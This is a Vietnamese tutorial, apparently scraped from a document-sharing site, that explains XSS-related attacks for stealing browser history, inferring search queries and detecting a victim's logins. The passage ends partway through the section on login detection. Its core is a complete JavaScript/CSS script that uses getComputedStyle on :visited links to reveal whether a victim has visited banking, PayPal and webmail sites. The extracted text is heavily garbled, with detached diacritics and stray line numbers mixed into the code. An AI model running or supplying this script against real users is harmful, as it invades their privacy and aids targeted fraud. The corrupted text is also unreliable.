Các phương pháp tấn công XSS
Các ph ng pháp t n công XSSươ ấ
T n công XSS (cross-site scripting) th ng đ c coi là lành tính, ho c ấ ườ ượ ặ
ng i ta th ng ít nghĩ đ n nh ng hi m h a ti m tàng c a chúng. Ví d , ườ ườ ế ữ ể ọ ề ủ ụ
ph n l n m i ng i cho r ng các ch ng trình mã đ c Javascript có th ănầ ớ ọ ườ ằ ươ ộ ể
c p cookies ho c chuy n h ng m t ng i t i m t trang Web khác. Tuy ắ ặ ể ướ ộ ườ ớ ộ
nhiên, nh ng t n công đ n gi n đó, m c dù r t h u ích, nh ng chúng ch ữ ấ ơ ả ặ ấ ữ ư ỉ
làm trên ph n giao di n nh m t ng i có th làm m t khi h đ c phép ầ ệ ư ộ ườ ể ộ ọ ượ
ch y Jvascript trên trình duy t. Trong ph n này, tôi s gi i thi u nh ng ạ ệ ầ ẽ ớ ệ ữ
hi m h a l n h n t nh ng l i đ n gi n trên trang Web mà nh ng k t n ể ọ ớ ơ ừ ữ ỗ ơ ả ữ ẻ ấ
công có th l i d ng, t ăn c p l ch s trình duy t, t i nh ng đi u r t ể ợ ụ ừ ắ ị ử ệ ớ ữ ề ấ
kh ng khi p và mã đ c Javascript có th làm đ c.ủ ế ộ ể ượ
Ăn c p l ch s duy t Webắ ị ử ệ
Khi m t hacker th c hi n các cu c t n công, nh ng hi u bi t c a v ộ ự ệ ộ ấ ữ ể ế ủ ề
ng i dùng, ví d nh thói quen c a h s giúp ích r t nhi u. Thay vì tìm ườ ụ ư ủ ọ ẽ ấ ề
ki m m t cách r ng rãi, k t n công có th nh m đ n nh ng khu v c có ế ộ ộ ẻ ấ ể ắ ế ữ ự
nh ng l h ng và khi đó thành công s d dàng h n. S d ng m t vài th ữ ỗ ổ ẽ ễ ơ ử ụ ộ ủ
thu t Javascript/CSS, r t đ n gi n đ khám phá nh ng trang Web nào n n ậ ấ ơ ả ể ữ ậ
nh n đã t ng ghé thăm, quy t đ nh li u h có đăng nh p và nh ng d li u ậ ừ ế ị ệ ọ ậ ữ ữ ệ
t l ch s tìm ki m c a h . V i nh ng thông tin này, m t k t n công có ừ ị ử ế ủ ọ ớ ữ ộ ẻ ấ
th th c hi n vi c chuy n ti n qua tài kho n, phát t n sâu Web, ho c g i ể ự ệ ệ ể ề ả ấ ặ ử
th spam trên trang Web n i mà n n nhân đã t ng đăng nh p g n đây.ư ơ ạ ừ ậ ầ
JavaScript/CSS API getComputedStyle
T n công l ch s b ng Javascript/CSS là m t ph ng pháp brute-force có ấ ị ử ằ ộ ươ
hi u q a cao đ tìm ra n i n n nhân đã t ng ghé thăm. Trung bình, m t ệ ủ ể ơ ạ ừ ộ
ng i dùng Web truy c p hàng ch trang Web trong m t ngày. Đi u đ u ườ ậ ụ ộ ề ầ
tiên mà m t k t n công s làm là thu th p m t danh sách các trang Web màộ ẻ ấ ẽ ậ ộ
ng i dùng truy c p th ng xuyên. Danh sách các trang Web ph bi n trên ườ ậ ườ ổ ế
th gi i ví d nh b ng x p h ng Alexa là m t ngu n tài nguyên r t quý ế ớ ụ ư ả ế ạ ộ ồ ấ
giá giúp quá trình x lý d dàng h n. Tìm ki m m t vài trang Web online ử ễ ơ ế ộ
banking hay các c ng thanh toán ph bi n, k t n công có m t danh sách ổ ổ ế ẻ ấ ộ
hoàn thi n đ t p trung vào.ệ ể ậ
K thu t này t n d ng DOM (Document Object Model) cách s d ng các ỹ ậ ậ ụ ử ụ
màu s c khau nhau đ hi n th các trang đã t ng truy c p. B ng cách t o raắ ể ể ị ừ ậ ằ ạ
các liên k t đ ng, k t n công có th ki m tra thu c ế ộ ẻ ấ ể ể ộ
tính getComputedStyle trong Javascript đ trích xu t thông tin l ch s duy tể ấ ị ử ệ
Web. Đây là m t x lý đ n gi n. N u liên k t ch có 1 màu, ví d màu ộ ử ơ ả ế ế ỉ ụ
xanh, n n nhân ch a t ng truy c p trang Web. N u nó có màu tím, nó đã ạ ư ừ ậ ế
t ng đ c truy c p.ừ ượ ậ
Code cho Firefox (có th ch y đ c b i các trình duy t khác)ể ạ ượ ở ệ
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<body>
<H3>Visited</H3>
<ul id="visited"></ul>
<H3>Not Visited</H3>
<ul id="notvisited"></ul>
<script>
/* A short list of websites to loop through checking to see if the victim
has been there. Without noticeable performance overhead, testing couple of a
couple thousand URL's is possible within a few seconds. */
var websites = [
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
"http://ha.ckers.org",
"http://jeremiahgrossman.blogspot.com/",
"http://mail.google.com/",
"http://mail.yahoo.com/",
"http://www.e-gold.com/",
"http://www.amazon.com/",
"http://www.bankofamerica.com/",
"http://www.whitehatsec.com/",
"http://www.bofa.com/",
"http://www.citibank.com/",
"http://www.paypal.com/",
];
/* Loop through each URL */
for (var i = 0; i < websites.length; i++) {
/* create the new anchor tag with the appropriate URL information */
var link = document.createElement("a");
link.id = "id" + i;
link.href = websites[i];
link.innerHTML = websites[i];
/* create a custom style tag for the specific link. Set the CSS visited
selector to a known value, in this case red */
36
37
38
39
40
document.write('<style>');
document.write('#id' + i + ":visited {color: #FF0000;}");
document.write('</style>');
/* quickly add and remove the link from the DOM with enough time to
save the visible computed color. */
document.body.appendChild(link);
var color =
document.defaultView.getComputedStyle(link,null).getPropertyValue("color")
;
document.body.removeChild(link);
/* check to see if the link has been visited if the computed color is red
*/
if (color == "rgb(255, 0, 0)") { // visited
/* add the link to the visited list */
var item = document.createElement('li');
item.appendChild(link);
document.getElementById('visited').appendChild(item);
} else { // not visited
/* add the link to the not visited list */
var item = document.createElement('li');
item.appendChild(link);
document.getElementById('notvisited').appendChild(item);
} // end visited color check if
} // end URL loop
</script>
</body>
</html>
K t q a c a đo n code trên đ c minh h a trong hình d i đâyế ủ ủ ạ ượ ọ ướ
Ăn c p truy v n máy tìm ki mắ ấ ế
SPI Dynamics ch ng t r ng nh ng k t n công có th xây d ng hack ứ ỏ ằ ữ ẻ ấ ể ự
Javascirpt/CSS đ phát hi n ra các tìm ki m khác nhau mà n n nhân đã ể ệ ế ạ
t ng s d ng. Nó có th giúp ích n u bi t r ng n n nhân đã t ng tìm ki mừ ử ụ ể ế ế ằ ạ ừ ế
“MySpace” ho c t ng t th .ặ ươ ự ế
T n công này làm vi c b ng cách t o ra các t khóa tìm ki m đ c g i ý, ấ ệ ằ ạ ừ ế ượ ợ
các URL đ c t o ra b i các máy tìm ki m ph bi n. Ví d n u b n tìm ượ ạ ở ế ổ ế ụ ế ạ
ki m “XSS Exploit” thanh đ a ch c a trình duy t s hi n th gi ng nh ế ị ỉ ủ ệ ẽ ể ị ố ư
hình d i.ướ
URL c a truy v n tìm ki m r t đ n gi n đ có th t o ra hàng nghìn lo i. ủ ấ ế ấ ơ ả ể ể ạ ạ
K t h p đi u đó v i hack l ch s Javascript/CSS ph n trên, l ch s truy ế ợ ề ớ ị ử ở ầ ị ử
v n tìm ki m s đ c m ra. Th c ra, k t n công có th t o ra m t danh ấ ế ẽ ượ ở ự ẻ ấ ể ạ ộ
sách r t dài các liên k t trên DOM, có th nhìn th y ho c n đi, và ki m traấ ế ể ấ ặ ẩ ể
màu c a liên k t gi ng nh ph ng pháp trên. N u liên k t màu xanh, n n ủ ế ố ư ươ ế ế ạ
nhân đã t ng tìm ki m, n u nó màu tím, nó ch a t ng đ c tìm ki m tr cừ ế ế ư ừ ượ ế ướ
đây. K t qu c a ph ng pháp này có th r t r i r c, nh ng nó không t n ế ả ủ ươ ể ấ ờ ạ ư ố
c a k t n công b t c đi u gì, vì th đây là m t th t c có giá tr . SPI ủ ẻ ấ ấ ứ ề ế ộ ủ ụ ị
Dynamics cài đ t m t ví d online đ demo k thu t này.ặ ộ ụ ể ỹ ậ
Check l i đăng nh p trên console Javascriptỗ ậ
M i ng i th ng xuyên và liên t c đăng nh p vào các trang Web ph ọ ườ ườ ụ ậ ổ
bi n. Hi u bi t v các trang Web này có th vô cùng h u ích đ nâng cao ế ể ế ề ể ữ ể
hi u qu c a các cu c t n công CSRF ho c XSS cũng nh các hành đ ng ệ ả ủ ộ ấ ặ ư ộ
thu th p thông tin trái phép khác. K thu t s d ng m t ph ng pháp ậ ỹ ậ ử ụ ộ ươ
t ng t ph ng pháp port scan b ng Javascript b ng cách n i các thông ươ ự ươ ằ ằ ố
báo l i t console Javascript. R t nhi u trang Web yêu c u đăng nh p tr ỗ ừ ấ ề ầ ậ ả
v k t qu HTML r t khác nhau v i cùng URL khi b n đăng nh p hay ề ế ả ấ ớ ạ ậ
không. Ví d , trang Web qu n lý tài kho n ch có th truy c p n u b n ụ ả ả ỉ ể ậ ế ạ
có thể bạn quan tâm
Môi trường tại phường Quang Trung, Thái Nguyên- Đối tượng, nội dun...
60
746
282
Kinh tế quản lý
60
(New)
Áp dụng phương pháp đào tạo theo khe hở năng lực tại Công ty Sản phẩm...
97
654
249
Kinh tế quản lý
97
(New)
Nghiên cứu phương pháp điều khiển mạng OBS trong phương pháp làm lệch...
66
894
288
Khoa học tự nhiên
66
(New)
Phương pháp tính khấu hao TSCĐ theo phương pháp đường thẳng
3
888
323
Kế toán, kiểm toán
3
(New)
Nâng cao chất lượng điện áp bằng phương pháp thay đổi tổng trở đường d...
106
733
434
Kinh tế quản lý
106
(New)
Khóa luận tốt nghiệp: Công tác Tuyển dụng, Đào tạo và phát triển nguồn...
95
5.264
1.232
Kinh tế quản lý
95
(New)
TỔNG QUAN VỀ CÔNG NGHỆ NẠP ẮC QUY VÀ CÁC PHƯƠNG PHÁP NẠP ẮC QUY
72
1.003
888
Kỹ thuật
72
(New)
Giáo Trình Phương Pháp Định Giá Các Sản Phẩm Hàng Hóa Và Sản Phẩm Dịch...
7
980
230
Bài giảng, giáo trình
7
(New)
thông tin tài liệu
Tấn công XSS (cross-site scripting) thường được coi là lành tính, hoặc người ta thường ít nghĩ đến những hiểm họa tiềm tàng của chúng. Trong phần này, tôi sẽ giới thiệu những hiểm họa lớn hơn từ những lỗi đơn giản trên trang Web mà những kẻ tấn công có thể lợi dụng, từ ăn cắp lịch sử trình duyệt, tới những điều rất khủng khiếp và mã độc Javascript có thể làm được.
Mở rộng để xem thêm
từ khóa liên quan
tài liệu mới trong mục này
tài liệu hot trong mục này
tài liệu giúp tôi
Nếu bạn không tìm thấy tài liệu mình cần có thể gửi yêu cầu ở đây để chúng tôi tìm giúp bạn!
xem nhiều trong tuần
Giáo trình Quản trị học của Đại học kinh tế quốc dân
4 đề thi học sinh giỏi Toán lớp 2, có đáp án kèm theo
MẪU GIỚI THIỆU CHUYỂN SINH HOẠT HỘI
PHÂN TÍCH CHUỖI CUNG ỨNG CỦA COCA COLA VIỆT NAM
Địa lý 12 Phát triển cây công nghiệp lâu năm Tây Nguyên
IOE tiếng Anh lớp 10 lần 21 niên khóa 2016
yêu cầu tài liệu
Giúp bạn tìm tài liệu chưa có
×
